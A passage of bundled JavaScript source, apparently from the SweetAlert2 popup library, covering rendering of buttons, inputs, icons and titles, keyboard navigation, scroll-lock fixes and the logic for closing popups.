  816. for (let i = 0; i in elem; i++) {
  817. target.appendChild(elem[i].cloneNode(true));
  818. }
  819. } else {
  820. target.appendChild(elem.cloneNode(true));
  821. }
  822. };
  823. const animationEndEvent = (() => {
  824. if (isNodeEnv()) {
  825. return false;
  826. }
  827. const testEl = document.createElement("div");
  828. const transEndEventNames = {
  829. WebkitAnimation: "webkitAnimationEnd",
  830. // Chrome, Safari and Opera
  831. animation: "animationend"
  832. // Standard syntax
  833. };
  834. for (const i in transEndEventNames) {
  835. if (Object.prototype.hasOwnProperty.call(transEndEventNames, i) && typeof testEl.style[i] !== "undefined") {
  836. return transEndEventNames[i];
  837. }
  838. }
  839. return false;
  840. })();
  841. const renderActions = (instance, params) => {
  842. const actions = getActions();
  843. const loader = getLoader();
  844. if (!actions || !loader) {
  845. return;
  846. }
  847. if (!params.showConfirmButton && !params.showDenyButton && !params.showCancelButton) {
  848. hide(actions);
  849. } else {
  850. show(actions);
  851. }
  852. applyCustomClass(actions, params, "actions");
  853. renderButtons(actions, loader, params);
  854. setInnerHtml(loader, params.loaderHtml || "");
  855. applyCustomClass(loader, params, "loader");
  856. };
  857. function renderButtons(actions, loader, params) {
  858. const confirmButton = getConfirmButton();
  859. const denyButton = getDenyButton();
  860. const cancelButton = getCancelButton();
  861. if (!confirmButton || !denyButton || !cancelButton) {
  862. return;
  863. }
  864. renderButton(confirmButton, "confirm", params);
  865. renderButton(denyButton, "deny", params);
  866. renderButton(cancelButton, "cancel", params);
  867. handleButtonsStyling(confirmButton, denyButton, cancelButton, params);
  868. if (params.reverseButtons) {
  869. if (params.toast) {
  870. actions.insertBefore(cancelButton, confirmButton);
  871. actions.insertBefore(denyButton, confirmButton);
  872. } else {
  873. actions.insertBefore(cancelButton, loader);
  874. actions.insertBefore(denyButton, loader);
  875. actions.insertBefore(confirmButton, loader);
  876. }
  877. }
  878. }
  879. function handleButtonsStyling(confirmButton, denyButton, cancelButton, params) {
  880. if (!params.buttonsStyling) {
  881. removeClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  882. return;
  883. }
  884. addClass([confirmButton, denyButton, cancelButton], swalClasses.styled);
  885. if (params.confirmButtonColor) {
  886. confirmButton.style.backgroundColor = params.confirmButtonColor;
  887. addClass(confirmButton, swalClasses["default-outline"]);
  888. }
  889. if (params.denyButtonColor) {
  890. denyButton.style.backgroundColor = params.denyButtonColor;
  891. addClass(denyButton, swalClasses["default-outline"]);
  892. }
  893. if (params.cancelButtonColor) {
  894. cancelButton.style.backgroundColor = params.cancelButtonColor;
  895. addClass(cancelButton, swalClasses["default-outline"]);
  896. }
  897. }
  898. function renderButton(button, buttonType, params) {
  899. const buttonName = (
  900. /** @type {'Confirm' | 'Deny' | 'Cancel'} */
  901. capitalizeFirstLetter(buttonType)
  902. );
  903. toggle(button, params[`show${buttonName}Button`], "inline-block");
  904. setInnerHtml(button, params[`${buttonType}ButtonText`] || "");
  905. button.setAttribute("aria-label", params[`${buttonType}ButtonAriaLabel`] || "");
  906. button.className = swalClasses[buttonType];
  907. applyCustomClass(button, params, `${buttonType}Button`);
  908. }
  909. const renderCloseButton = (instance, params) => {
  910. const closeButton = getCloseButton();
  911. if (!closeButton) {
  912. return;
  913. }
  914. setInnerHtml(closeButton, params.closeButtonHtml || "");
  915. applyCustomClass(closeButton, params, "closeButton");
  916. toggle(closeButton, params.showCloseButton);
  917. closeButton.setAttribute("aria-label", params.closeButtonAriaLabel || "");
  918. };
  919. const renderContainer = (instance, params) => {
  920. const container = getContainer();
  921. if (!container) {
  922. return;
  923. }
  924. handleBackdropParam(container, params.backdrop);
  925. handlePositionParam(container, params.position);
  926. handleGrowParam(container, params.grow);
  927. applyCustomClass(container, params, "container");
  928. };
  929. function handleBackdropParam(container, backdrop) {
  930. if (typeof backdrop === "string") {
  931. container.style.background = backdrop;
  932. } else if (!backdrop) {
  933. addClass([document.documentElement, document.body], swalClasses["no-backdrop"]);
  934. }
  935. }
  936. function handlePositionParam(container, position) {
  937. if (!position) {
  938. return;
  939. }
  940. if (position in swalClasses) {
  941. addClass(container, swalClasses[position]);
  942. } else {
  943. warn('The "position" parameter is not valid, defaulting to "center"');
  944. addClass(container, swalClasses.center);
  945. }
  946. }
  947. function handleGrowParam(container, grow) {
  948. if (!grow) {
  949. return;
  950. }
  951. addClass(container, swalClasses[`grow-${grow}`]);
  952. }
  953. const inputClasses = ["input", "file", "range", "select", "radio", "checkbox", "textarea"];
  954. const renderInput = (instance, params) => {
  955. const popup = getPopup();
  956. const innerParams = privateProps.innerParams.get(instance);
  957. const rerender = !innerParams || params.input !== innerParams.input;
  958. inputClasses.forEach((inputClass) => {
  959. const inputContainer = getDirectChildByClass(popup, swalClasses[inputClass]);
  960. setAttributes(inputClass, params.inputAttributes);
  961. inputContainer.className = swalClasses[inputClass];
  962. if (rerender) {
  963. hide(inputContainer);
  964. }
  965. });
  966. if (params.input) {
  967. if (rerender) {
  968. showInput(params);
  969. }
  970. setCustomClass(params);
  971. }
  972. };
  973. const showInput = (params) => {
  974. if (!renderInputType[params.input]) {
  975. error(`Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "${params.input}"`);
  976. return;
  977. }
  978. const inputContainer = getInputContainer(params.input);
  979. const input = renderInputType[params.input](inputContainer, params);
  980. show(inputContainer);
  981. if (params.inputAutoFocus) {
  982. setTimeout(() => {
  983. focusInput(input);
  984. });
  985. }
  986. };
  987. const removeAttributes = (input) => {
  988. for (let i = 0; i < input.attributes.length; i++) {
  989. const attrName = input.attributes[i].name;
  990. if (!["id", "type", "value", "style"].includes(attrName)) {
  991. input.removeAttribute(attrName);
  992. }
  993. }
  994. };
  995. const setAttributes = (inputClass, inputAttributes) => {
  996. const input = getInput$1(getPopup(), inputClass);
  997. if (!input) {
  998. return;
  999. }
  1000. removeAttributes(input);
  1001. for (const attr in inputAttributes) {
  1002. input.setAttribute(attr, inputAttributes[attr]);
  1003. }
  1004. };
  1005. const setCustomClass = (params) => {
  1006. const inputContainer = getInputContainer(params.input);
  1007. if (typeof params.customClass === "object") {
  1008. addClass(inputContainer, params.customClass.input);
  1009. }
  1010. };
  1011. const setInputPlaceholder = (input, params) => {
  1012. if (!input.placeholder || params.inputPlaceholder) {
  1013. input.placeholder = params.inputPlaceholder;
  1014. }
  1015. };
  1016. const setInputLabel = (input, prependTo, params) => {
  1017. if (params.inputLabel) {
  1018. const label = document.createElement("label");
  1019. const labelClass = swalClasses["input-label"];
  1020. label.setAttribute("for", input.id);
  1021. label.className = labelClass;
  1022. if (typeof params.customClass === "object") {
  1023. addClass(label, params.customClass.inputLabel);
  1024. }
  1025. label.innerText = params.inputLabel;
  1026. prependTo.insertAdjacentElement("beforebegin", label);
  1027. }
  1028. };
  1029. const getInputContainer = (inputType) => {
  1030. return getDirectChildByClass(getPopup(), swalClasses[inputType] || swalClasses.input);
  1031. };
  1032. const checkAndSetInputValue = (input, inputValue) => {
  1033. if (["string", "number"].includes(typeof inputValue)) {
  1034. input.value = `${inputValue}`;
  1035. } else if (!isPromise(inputValue)) {
  1036. warn(`Unexpected type of inputValue! Expected "string", "number" or "Promise", got "${typeof inputValue}"`);
  1037. }
  1038. };
  1039. const renderInputType = {};
  1040. renderInputType.text = renderInputType.email = renderInputType.password = renderInputType.number = renderInputType.tel = renderInputType.url = (input, params) => {
  1041. checkAndSetInputValue(input, params.inputValue);
  1042. setInputLabel(input, input, params);
  1043. setInputPlaceholder(input, params);
  1044. input.type = params.input;
  1045. return input;
  1046. };
  1047. renderInputType.file = (input, params) => {
  1048. setInputLabel(input, input, params);
  1049. setInputPlaceholder(input, params);
  1050. return input;
  1051. };
  1052. renderInputType.range = (range, params) => {
  1053. const rangeInput = range.querySelector("input");
  1054. const rangeOutput = range.querySelector("output");
  1055. checkAndSetInputValue(rangeInput, params.inputValue);
  1056. rangeInput.type = params.input;
  1057. checkAndSetInputValue(rangeOutput, params.inputValue);
  1058. setInputLabel(rangeInput, range, params);
  1059. return range;
  1060. };
  1061. renderInputType.select = (select, params) => {
  1062. select.textContent = "";
  1063. if (params.inputPlaceholder) {
  1064. const placeholder = document.createElement("option");
  1065. setInnerHtml(placeholder, params.inputPlaceholder);
  1066. placeholder.value = "";
  1067. placeholder.disabled = true;
  1068. placeholder.selected = true;
  1069. select.appendChild(placeholder);
  1070. }
  1071. setInputLabel(select, select, params);
  1072. return select;
  1073. };
  1074. renderInputType.radio = (radio) => {
  1075. radio.textContent = "";
  1076. return radio;
  1077. };
  1078. renderInputType.checkbox = (checkboxContainer, params) => {
  1079. const checkbox = getInput$1(getPopup(), "checkbox");
  1080. checkbox.value = "1";
  1081. checkbox.checked = Boolean(params.inputValue);
  1082. const label = checkboxContainer.querySelector("span");
  1083. setInnerHtml(label, params.inputPlaceholder);
  1084. return checkbox;
  1085. };
  1086. renderInputType.textarea = (textarea, params) => {
  1087. checkAndSetInputValue(textarea, params.inputValue);
  1088. setInputPlaceholder(textarea, params);
  1089. setInputLabel(textarea, textarea, params);
  1090. const getMargin = (el) => parseInt(window.getComputedStyle(el).marginLeft) + parseInt(window.getComputedStyle(el).marginRight);
  1091. setTimeout(() => {
  1092. if ("MutationObserver" in window) {
  1093. const initialPopupWidth = parseInt(window.getComputedStyle(getPopup()).width);
  1094. const textareaResizeHandler = () => {
  1095. if (!document.body.contains(textarea)) {
  1096. return;
  1097. }
  1098. const textareaWidth = textarea.offsetWidth + getMargin(textarea);
  1099. if (textareaWidth > initialPopupWidth) {
  1100. getPopup().style.width = `${textareaWidth}px`;
  1101. } else {
  1102. applyNumericalStyle(getPopup(), "width", params.width);
  1103. }
  1104. };
  1105. new MutationObserver(textareaResizeHandler).observe(textarea, {
  1106. attributes: true,
  1107. attributeFilter: ["style"]
  1108. });
  1109. }
  1110. });
  1111. return textarea;
  1112. };
  1113. const renderContent = (instance, params) => {
  1114. const htmlContainer = getHtmlContainer();
  1115. if (!htmlContainer) {
  1116. return;
  1117. }
  1118. applyCustomClass(htmlContainer, params, "htmlContainer");
  1119. if (params.html) {
  1120. parseHtmlToContainer(params.html, htmlContainer);
  1121. show(htmlContainer, "block");
  1122. } else if (params.text) {
  1123. htmlContainer.textContent = params.text;
  1124. show(htmlContainer, "block");
  1125. } else {
  1126. hide(htmlContainer);
  1127. }
  1128. renderInput(instance, params);
  1129. };
  1130. const renderFooter = (instance, params) => {
  1131. const footer = getFooter();
  1132. if (!footer) {
  1133. return;
  1134. }
  1135. toggle(footer, params.footer);
  1136. if (params.footer) {
  1137. parseHtmlToContainer(params.footer, footer);
  1138. }
  1139. applyCustomClass(footer, params, "footer");
  1140. };
  1141. const renderIcon = (instance, params) => {
  1142. const innerParams = privateProps.innerParams.get(instance);
  1143. const icon = getIcon();
  1144. if (!icon) {
  1145. return;
  1146. }
  1147. if (innerParams && params.icon === innerParams.icon) {
  1148. setContent(icon, params);
  1149. applyStyles(icon, params);
  1150. return;
  1151. }
  1152. if (!params.icon && !params.iconHtml) {
  1153. hide(icon);
  1154. return;
  1155. }
  1156. if (params.icon && Object.keys(iconTypes).indexOf(params.icon) === -1) {
  1157. error(`Unknown icon! Expected "success", "error", "warning", "info" or "question", got "${params.icon}"`);
  1158. hide(icon);
  1159. return;
  1160. }
  1161. show(icon);
  1162. setContent(icon, params);
  1163. applyStyles(icon, params);
  1164. addClass(icon, params.showClass && params.showClass.icon);
  1165. };
  1166. const applyStyles = (icon, params) => {
  1167. for (const [iconType, iconClassName] of Object.entries(iconTypes)) {
  1168. if (params.icon !== iconType) {
  1169. removeClass(icon, iconClassName);
  1170. }
  1171. }
  1172. addClass(icon, params.icon && iconTypes[params.icon]);
  1173. setColor(icon, params);
  1174. adjustSuccessIconBackgroundColor();
  1175. applyCustomClass(icon, params, "icon");
  1176. };
  1177. const adjustSuccessIconBackgroundColor = () => {
  1178. const popup = getPopup();
  1179. if (!popup) {
  1180. return;
  1181. }
  1182. const popupBackgroundColor = window.getComputedStyle(popup).getPropertyValue("background-color");
  1183. const successIconParts = popup.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix");
  1184. for (let i = 0; i < successIconParts.length; i++) {
  1185. successIconParts[i].style.backgroundColor = popupBackgroundColor;
  1186. }
  1187. };
  1188. const successIconHtml = `
  1189. <div class="swal2-success-circular-line-left"></div>
  1190. <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>
  1191. <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>
  1192. <div class="swal2-success-circular-line-right"></div>
  1193. `;
  1194. const errorIconHtml = `
  1195. <span class="swal2-x-mark">
  1196. <span class="swal2-x-mark-line-left"></span>
  1197. <span class="swal2-x-mark-line-right"></span>
  1198. </span>
  1199. `;
  1200. const setContent = (icon, params) => {
  1201. if (!params.icon) {
  1202. return;
  1203. }
  1204. let oldContent = icon.innerHTML;
  1205. let newContent;
  1206. if (params.iconHtml) {
  1207. newContent = iconContent(params.iconHtml);
  1208. } else if (params.icon === "success") {
  1209. newContent = successIconHtml;
  1210. oldContent = oldContent.replace(/ style=".*?"/g, "");
  1211. } else if (params.icon === "error") {
  1212. newContent = errorIconHtml;
  1213. } else {
  1214. const defaultIconHtml = {
  1215. question: "?",
  1216. warning: "!",
  1217. info: "i"
  1218. };
  1219. newContent = iconContent(defaultIconHtml[params.icon]);
  1220. }
  1221. if (oldContent.trim() !== newContent.trim()) {
  1222. setInnerHtml(icon, newContent);
  1223. }
  1224. };
  1225. const setColor = (icon, params) => {
  1226. if (!params.iconColor) {
  1227. return;
  1228. }
  1229. icon.style.color = params.iconColor;
  1230. icon.style.borderColor = params.iconColor;
  1231. for (const sel of [".swal2-success-line-tip", ".swal2-success-line-long", ".swal2-x-mark-line-left", ".swal2-x-mark-line-right"]) {
  1232. setStyle(icon, sel, "backgroundColor", params.iconColor);
  1233. }
  1234. setStyle(icon, ".swal2-success-ring", "borderColor", params.iconColor);
  1235. };
  1236. const iconContent = (content) => `<div class="${swalClasses["icon-content"]}">${content}</div>`;
  1237. const renderImage = (instance, params) => {
  1238. const image = getImage();
  1239. if (!image) {
  1240. return;
  1241. }
  1242. if (!params.imageUrl) {
  1243. hide(image);
  1244. return;
  1245. }
  1246. show(image, "");
  1247. image.setAttribute("src", params.imageUrl);
  1248. image.setAttribute("alt", params.imageAlt || "");
  1249. applyNumericalStyle(image, "width", params.imageWidth);
  1250. applyNumericalStyle(image, "height", params.imageHeight);
  1251. image.className = swalClasses.image;
  1252. applyCustomClass(image, params, "image");
  1253. };
  1254. const renderPopup = (instance, params) => {
  1255. const container = getContainer();
  1256. const popup = getPopup();
  1257. if (!container || !popup) {
  1258. return;
  1259. }
  1260. if (params.toast) {
  1261. applyNumericalStyle(container, "width", params.width);
  1262. popup.style.width = "100%";
  1263. const loader = getLoader();
  1264. loader && popup.insertBefore(loader, getIcon());
  1265. } else {
  1266. applyNumericalStyle(popup, "width", params.width);
  1267. }
  1268. applyNumericalStyle(popup, "padding", params.padding);
  1269. if (params.color) {
  1270. popup.style.color = params.color;
  1271. }
  1272. if (params.background) {
  1273. popup.style.background = params.background;
  1274. }
  1275. hide(getValidationMessage());
  1276. addClasses$1(popup, params);
  1277. };
  1278. const addClasses$1 = (popup, params) => {
  1279. const showClass = params.showClass || {};
  1280. popup.className = `${swalClasses.popup} ${isVisible$1(popup) ? showClass.popup : ""}`;
  1281. if (params.toast) {
  1282. addClass([document.documentElement, document.body], swalClasses["toast-shown"]);
  1283. addClass(popup, swalClasses.toast);
  1284. } else {
  1285. addClass(popup, swalClasses.modal);
  1286. }
  1287. applyCustomClass(popup, params, "popup");
  1288. if (typeof params.customClass === "string") {
  1289. addClass(popup, params.customClass);
  1290. }
  1291. if (params.icon) {
  1292. addClass(popup, swalClasses[`icon-${params.icon}`]);
  1293. }
  1294. };
  1295. const renderProgressSteps = (instance, params) => {
  1296. const progressStepsContainer = getProgressSteps();
  1297. if (!progressStepsContainer) {
  1298. return;
  1299. }
  1300. const {
  1301. progressSteps,
  1302. currentProgressStep
  1303. } = params;
  1304. if (!progressSteps || progressSteps.length === 0 || currentProgressStep === void 0) {
  1305. hide(progressStepsContainer);
  1306. return;
  1307. }
  1308. show(progressStepsContainer);
  1309. progressStepsContainer.textContent = "";
  1310. if (currentProgressStep >= progressSteps.length) {
  1311. warn("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)");
  1312. }
  1313. progressSteps.forEach((step, index) => {
  1314. const stepEl = createStepElement(step);
  1315. progressStepsContainer.appendChild(stepEl);
  1316. if (index === currentProgressStep) {
  1317. addClass(stepEl, swalClasses["active-progress-step"]);
  1318. }
  1319. if (index !== progressSteps.length - 1) {
  1320. const lineEl = createLineElement(params);
  1321. progressStepsContainer.appendChild(lineEl);
  1322. }
  1323. });
  1324. };
  1325. const createStepElement = (step) => {
  1326. const stepEl = document.createElement("li");
  1327. addClass(stepEl, swalClasses["progress-step"]);
  1328. setInnerHtml(stepEl, step);
  1329. return stepEl;
  1330. };
  1331. const createLineElement = (params) => {
  1332. const lineEl = document.createElement("li");
  1333. addClass(lineEl, swalClasses["progress-step-line"]);
  1334. if (params.progressStepsDistance) {
  1335. applyNumericalStyle(lineEl, "width", params.progressStepsDistance);
  1336. }
  1337. return lineEl;
  1338. };
  1339. const renderTitle = (instance, params) => {
  1340. const title = getTitle();
  1341. if (!title) {
  1342. return;
  1343. }
  1344. toggle(title, params.title || params.titleText, "block");
  1345. if (params.title) {
  1346. parseHtmlToContainer(params.title, title);
  1347. }
  1348. if (params.titleText) {
  1349. title.innerText = params.titleText;
  1350. }
  1351. applyCustomClass(title, params, "title");
  1352. };
  1353. const render = (instance, params) => {
  1354. renderPopup(instance, params);
  1355. renderContainer(instance, params);
  1356. renderProgressSteps(instance, params);
  1357. renderIcon(instance, params);
  1358. renderImage(instance, params);
  1359. renderTitle(instance, params);
  1360. renderCloseButton(instance, params);
  1361. renderContent(instance, params);
  1362. renderActions(instance, params);
  1363. renderFooter(instance, params);
  1364. const popup = getPopup();
  1365. if (typeof params.didRender === "function" && popup) {
  1366. params.didRender(popup);
  1367. }
  1368. };
  1369. const isVisible = () => {
  1370. return isVisible$1(getPopup());
  1371. };
  1372. const clickConfirm = () => getConfirmButton() && getConfirmButton().click();
  1373. const clickDeny = () => getDenyButton() && getDenyButton().click();
  1374. const clickCancel = () => getCancelButton() && getCancelButton().click();
  1375. const DismissReason = Object.freeze({
  1376. cancel: "cancel",
  1377. backdrop: "backdrop",
  1378. close: "close",
  1379. esc: "esc",
  1380. timer: "timer"
  1381. });
  1382. const removeKeydownHandler = (globalState2) => {
  1383. if (globalState2.keydownTarget && globalState2.keydownHandlerAdded) {
  1384. globalState2.keydownTarget.removeEventListener("keydown", globalState2.keydownHandler, {
  1385. capture: globalState2.keydownListenerCapture
  1386. });
  1387. globalState2.keydownHandlerAdded = false;
  1388. }
  1389. };
  1390. const addKeydownHandler = (instance, globalState2, innerParams, dismissWith) => {
  1391. removeKeydownHandler(globalState2);
  1392. if (!innerParams.toast) {
  1393. globalState2.keydownHandler = (e) => keydownHandler(instance, e, dismissWith);
  1394. globalState2.keydownTarget = innerParams.keydownListenerCapture ? window : getPopup();
  1395. globalState2.keydownListenerCapture = innerParams.keydownListenerCapture;
  1396. globalState2.keydownTarget.addEventListener("keydown", globalState2.keydownHandler, {
  1397. capture: globalState2.keydownListenerCapture
  1398. });
  1399. globalState2.keydownHandlerAdded = true;
  1400. }
  1401. };
  1402. const setFocus = (index, increment) => {
  1403. const focusableElements = getFocusableElements();
  1404. if (focusableElements.length) {
  1405. index = index + increment;
  1406. if (index === focusableElements.length) {
  1407. index = 0;
  1408. } else if (index === -1) {
  1409. index = focusableElements.length - 1;
  1410. }
  1411. focusableElements[index].focus();
  1412. return;
  1413. }
  1414. getPopup().focus();
  1415. };
  1416. const arrowKeysNextButton = ["ArrowRight", "ArrowDown"];
  1417. const arrowKeysPreviousButton = ["ArrowLeft", "ArrowUp"];
  1418. const keydownHandler = (instance, event, dismissWith) => {
  1419. const innerParams = privateProps.innerParams.get(instance);
  1420. if (!innerParams) {
  1421. return;
  1422. }
  1423. if (event.isComposing || event.keyCode === 229) {
  1424. return;
  1425. }
  1426. if (innerParams.stopKeydownPropagation) {
  1427. event.stopPropagation();
  1428. }
  1429. if (event.key === "Enter") {
  1430. handleEnter(instance, event, innerParams);
  1431. } else if (event.key === "Tab") {
  1432. handleTab(event);
  1433. } else if ([...arrowKeysNextButton, ...arrowKeysPreviousButton].includes(event.key)) {
  1434. handleArrows(event.key);
  1435. } else if (event.key === "Escape") {
  1436. handleEsc(event, innerParams, dismissWith);
  1437. }
  1438. };
  1439. const handleEnter = (instance, event, innerParams) => {
  1440. if (!callIfFunction(innerParams.allowEnterKey)) {
  1441. return;
  1442. }
  1443. if (event.target && instance.getInput() && event.target instanceof HTMLElement && event.target.outerHTML === instance.getInput().outerHTML) {
  1444. if (["textarea", "file"].includes(innerParams.input)) {
  1445. return;
  1446. }
  1447. clickConfirm();
  1448. event.preventDefault();
  1449. }
  1450. };
  1451. const handleTab = (event) => {
  1452. const targetElement = event.target;
  1453. const focusableElements = getFocusableElements();
  1454. let btnIndex = -1;
  1455. for (let i = 0; i < focusableElements.length; i++) {
  1456. if (targetElement === focusableElements[i]) {
  1457. btnIndex = i;
  1458. break;
  1459. }
  1460. }
  1461. if (!event.shiftKey) {
  1462. setFocus(btnIndex, 1);
  1463. } else {
  1464. setFocus(btnIndex, -1);
  1465. }
  1466. event.stopPropagation();
  1467. event.preventDefault();
  1468. };
  1469. const handleArrows = (key) => {
  1470. const confirmButton = getConfirmButton();
  1471. const denyButton = getDenyButton();
  1472. const cancelButton = getCancelButton();
  1473. const buttons = [confirmButton, denyButton, cancelButton];
  1474. if (document.activeElement instanceof HTMLElement && !buttons.includes(document.activeElement)) {
  1475. return;
  1476. }
  1477. const sibling = arrowKeysNextButton.includes(key) ? "nextElementSibling" : "previousElementSibling";
  1478. let buttonToFocus = document.activeElement;
  1479. for (let i = 0; i < getActions().children.length; i++) {
  1480. buttonToFocus = buttonToFocus[sibling];
  1481. if (!buttonToFocus) {
  1482. return;
  1483. }
  1484. if (buttonToFocus instanceof HTMLButtonElement && isVisible$1(buttonToFocus)) {
  1485. break;
  1486. }
  1487. }
  1488. if (buttonToFocus instanceof HTMLButtonElement) {
  1489. buttonToFocus.focus();
  1490. }
  1491. };
  1492. const handleEsc = (event, innerParams, dismissWith) => {
  1493. if (callIfFunction(innerParams.allowEscapeKey)) {
  1494. event.preventDefault();
  1495. dismissWith(DismissReason.esc);
  1496. }
  1497. };
  1498. var privateMethods = {
  1499. swalPromiseResolve: /* @__PURE__ */ new WeakMap(),
  1500. swalPromiseReject: /* @__PURE__ */ new WeakMap()
  1501. };
  1502. const setAriaHidden = () => {
  1503. const bodyChildren = Array.from(document.body.children);
  1504. bodyChildren.forEach((el) => {
  1505. if (el === getContainer() || el.contains(getContainer())) {
  1506. return;
  1507. }
  1508. if (el.hasAttribute("aria-hidden")) {
  1509. el.setAttribute("data-previous-aria-hidden", el.getAttribute("aria-hidden") || "");
  1510. }
  1511. el.setAttribute("aria-hidden", "true");
  1512. });
  1513. };
  1514. const unsetAriaHidden = () => {
  1515. const bodyChildren = Array.from(document.body.children);
  1516. bodyChildren.forEach((el) => {
  1517. if (el.hasAttribute("data-previous-aria-hidden")) {
  1518. el.setAttribute("aria-hidden", el.getAttribute("data-previous-aria-hidden") || "");
  1519. el.removeAttribute("data-previous-aria-hidden");
  1520. } else {
  1521. el.removeAttribute("aria-hidden");
  1522. }
  1523. });
  1524. };
  1525. const isSafariOrIOS = typeof window !== "undefined" && !!window.GestureEvent;
  1526. const iOSfix = () => {
  1527. if (isSafariOrIOS && !hasClass(document.body, swalClasses.iosfix)) {
  1528. const offset = document.body.scrollTop;
  1529. document.body.style.top = `${offset * -1}px`;
  1530. addClass(document.body, swalClasses.iosfix);
  1531. lockBodyScroll();
  1532. }
  1533. };
  1534. const lockBodyScroll = () => {
  1535. const container = getContainer();
  1536. let preventTouchMove;
  1537. container.ontouchstart = (event) => {
  1538. preventTouchMove = shouldPreventTouchMove(event);
  1539. };
  1540. container.ontouchmove = (event) => {
  1541. if (preventTouchMove) {
  1542. event.preventDefault();
  1543. event.stopPropagation();
  1544. }
  1545. };
  1546. };
  1547. const shouldPreventTouchMove = (event) => {
  1548. const target = event.target;
  1549. const container = getContainer();
  1550. if (isStylus(event) || isZoom(event)) {
  1551. return false;
  1552. }
  1553. if (target === container) {
  1554. return true;
  1555. }
  1556. if (!isScrollable(container) && target instanceof HTMLElement && target.tagName !== "INPUT" && // #1603
  1557. target.tagName !== "TEXTAREA" && // #2266
  1558. !(isScrollable(getHtmlContainer()) && // #1944
  1559. getHtmlContainer().contains(target))) {
  1560. return true;
  1561. }
  1562. return false;
  1563. };
  1564. const isStylus = (event) => {
  1565. return event.touches && event.touches.length && event.touches[0].touchType === "stylus";
  1566. };
  1567. const isZoom = (event) => {
  1568. return event.touches && event.touches.length > 1;
  1569. };
  1570. const undoIOSfix = () => {
  1571. if (hasClass(document.body, swalClasses.iosfix)) {
  1572. const offset = parseInt(document.body.style.top, 10);
  1573. removeClass(document.body, swalClasses.iosfix);
  1574. document.body.style.top = "";
  1575. document.body.scrollTop = offset * -1;
  1576. }
  1577. };
  1578. const measureScrollbar = () => {
  1579. const scrollDiv = document.createElement("div");
  1580. scrollDiv.className = swalClasses["scrollbar-measure"];
  1581. document.body.appendChild(scrollDiv);
  1582. const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth;
  1583. document.body.removeChild(scrollDiv);
  1584. return scrollbarWidth;
  1585. };
  1586. let previousBodyPadding = null;
  1587. const fixScrollbar = () => {
  1588. if (previousBodyPadding !== null) {
  1589. return;
  1590. }
  1591. if (document.body.scrollHeight > window.innerHeight) {
  1592. previousBodyPadding = parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right"));
  1593. document.body.style.paddingRight = `${previousBodyPadding + measureScrollbar()}px`;
  1594. }
  1595. };
  1596. const undoScrollbar = () => {
  1597. if (previousBodyPadding !== null) {
  1598. document.body.style.paddingRight = `${previousBodyPadding}px`;
  1599. previousBodyPadding = null;
  1600. }
  1601. };
  1602. function removePopupAndResetState(instance, container, returnFocus, didClose) {
  1603. if (isToast()) {
  1604. triggerDidCloseAndDispose(instance, didClose);
  1605. } else {
  1606. restoreActiveElement(returnFocus).then(() => triggerDidCloseAndDispose(instance, didClose));
  1607. removeKeydownHandler(globalState);
  1608. }
  1609. if (isSafariOrIOS) {
  1610. container.setAttribute("style", "display:none !important");
  1611. container.removeAttribute("class");
  1612. container.innerHTML = "";
  1613. } else {
  1614. container.remove();
  1615. }
  1616. if (isModal()) {
  1617. undoScrollbar();
  1618. undoIOSfix();
  1619. unsetAriaHidden();
  1620. }
  1621. removeBodyClasses();
  1622. }
  1623. function removeBodyClasses() {
  1624. removeClass([document.documentElement, document.body], [swalClasses.shown, swalClasses["height-auto"], swalClasses["no-backdrop"], swalClasses["toast-shown"]]);
  1625. }
  1626. function close(resolveValue) {
  1627. resolveValue = prepareResolveValue(resolveValue);
  1628. const swalPromiseResolve = privateMethods.swalPromiseResolve.get(this);
  1629. const didClose = triggerClosePopup(this);
  1630. if (this.isAwaitingPromise) {
  1631. if (!resolveValue.isDismissed) {
  1632. handleAwaitingPromise(this);
  1633. swalPromiseResolve(resolveValue);
  1634. }
  1635. } else if (didClose) {
  1636. swalPromiseResolve(resolveValue);
  1637. }
  1638. }
  1639. const triggerClosePopup = (instance) => {
  1640. const popup = getPopup();
  1641. if (!popup) {
  1642. return false;
  1643. }
  1644. const innerParams = privateProps.innerParams.get(instance);
  1645. if (!innerParams || hasClass(popup, innerParams.hideClass.popup)) {
  1646. return false;
  1647. }
  1648. removeClass(popup, innerParams.showClass.popup);
  1649. addClass(popup, innerParams.hideClass.popup);
  1650. const backdrop = getContainer();
  1651. removeClass(backdrop, innerParams.showClass.backdrop);
  1652. addClass(backdrop, innerParams.hideClass.backdrop);
  1653. handlePopupAnimation(instance, popup, innerParams);
  1654. return true;
  1655. };
  1656. function rejectPromise(error2) {
  1657. const rejectPromise2 = privateMethods.swalPromiseReject.get(this);
  1658. handleAwaitingPromise(this);
  1659. if (rejectPromise2) {
  1660. rejectPromise2(error2);
  1661. }
  1662. }
  1663. const handleAwaitingPromise = (instance) => {
  1664. if (instance.isAwaitingPromise) {
  1665. delete instance.isAwaitingPromise;
  1666. if (!privateProps.innerParams.get(instance)) {
  1667. instance._destroy();
  1668. }
  1669. }
  1670. };
  1671. const prepareResolveValue = (resolveValue) => {
  1672. if (typeof resolveValue === "undefined") {
  1673. return {
  1674. isConfirmed: false,
  1675. isDenied: false,
  1676. isDismissed: true
  1677. };
  1678. }
  1679. return Object.assign({
  1680. isConfirmed: false,
  1681. isDenied: false,
  1682. isDismissed: false
  1683. }, resolveValue);
  1684. };
  1685. const handlePopupAnimation = (instance, popup, innerParams) => {
  1686. const container = getContainer();
  1687. const animationIsSupported = animationEndEvent && hasCssAnimation(popup);
  1688. if (typeof innerParams.willClose === "function") {
  1689. innerParams.willClose(popup);
  1690. }
  1691. if (animationIsSupported) {
  1692. animatePopup(instance, popup, container, innerParams.returnFocus, innerParams.didClose);
  1693. } else {
  1694. removePopupAndResetState(instance, container, innerParams.returnFocus, innerParams.didClose);
  1695. }
  1696. };
  1697. const animatePopup = (instance, popup, container, returnFocus, didClose) => {
  1698. globalState.swalCloseEventFinishedCallback = removePopupAndResetState.bind(null, instance, container, returnFocus, didClose);
  1699. popup.addEventListener(animationEndEvent, function(e) {
  1700. if (e.target === popup) {
  1701. globalState.swalCloseEventFinishedCallback();
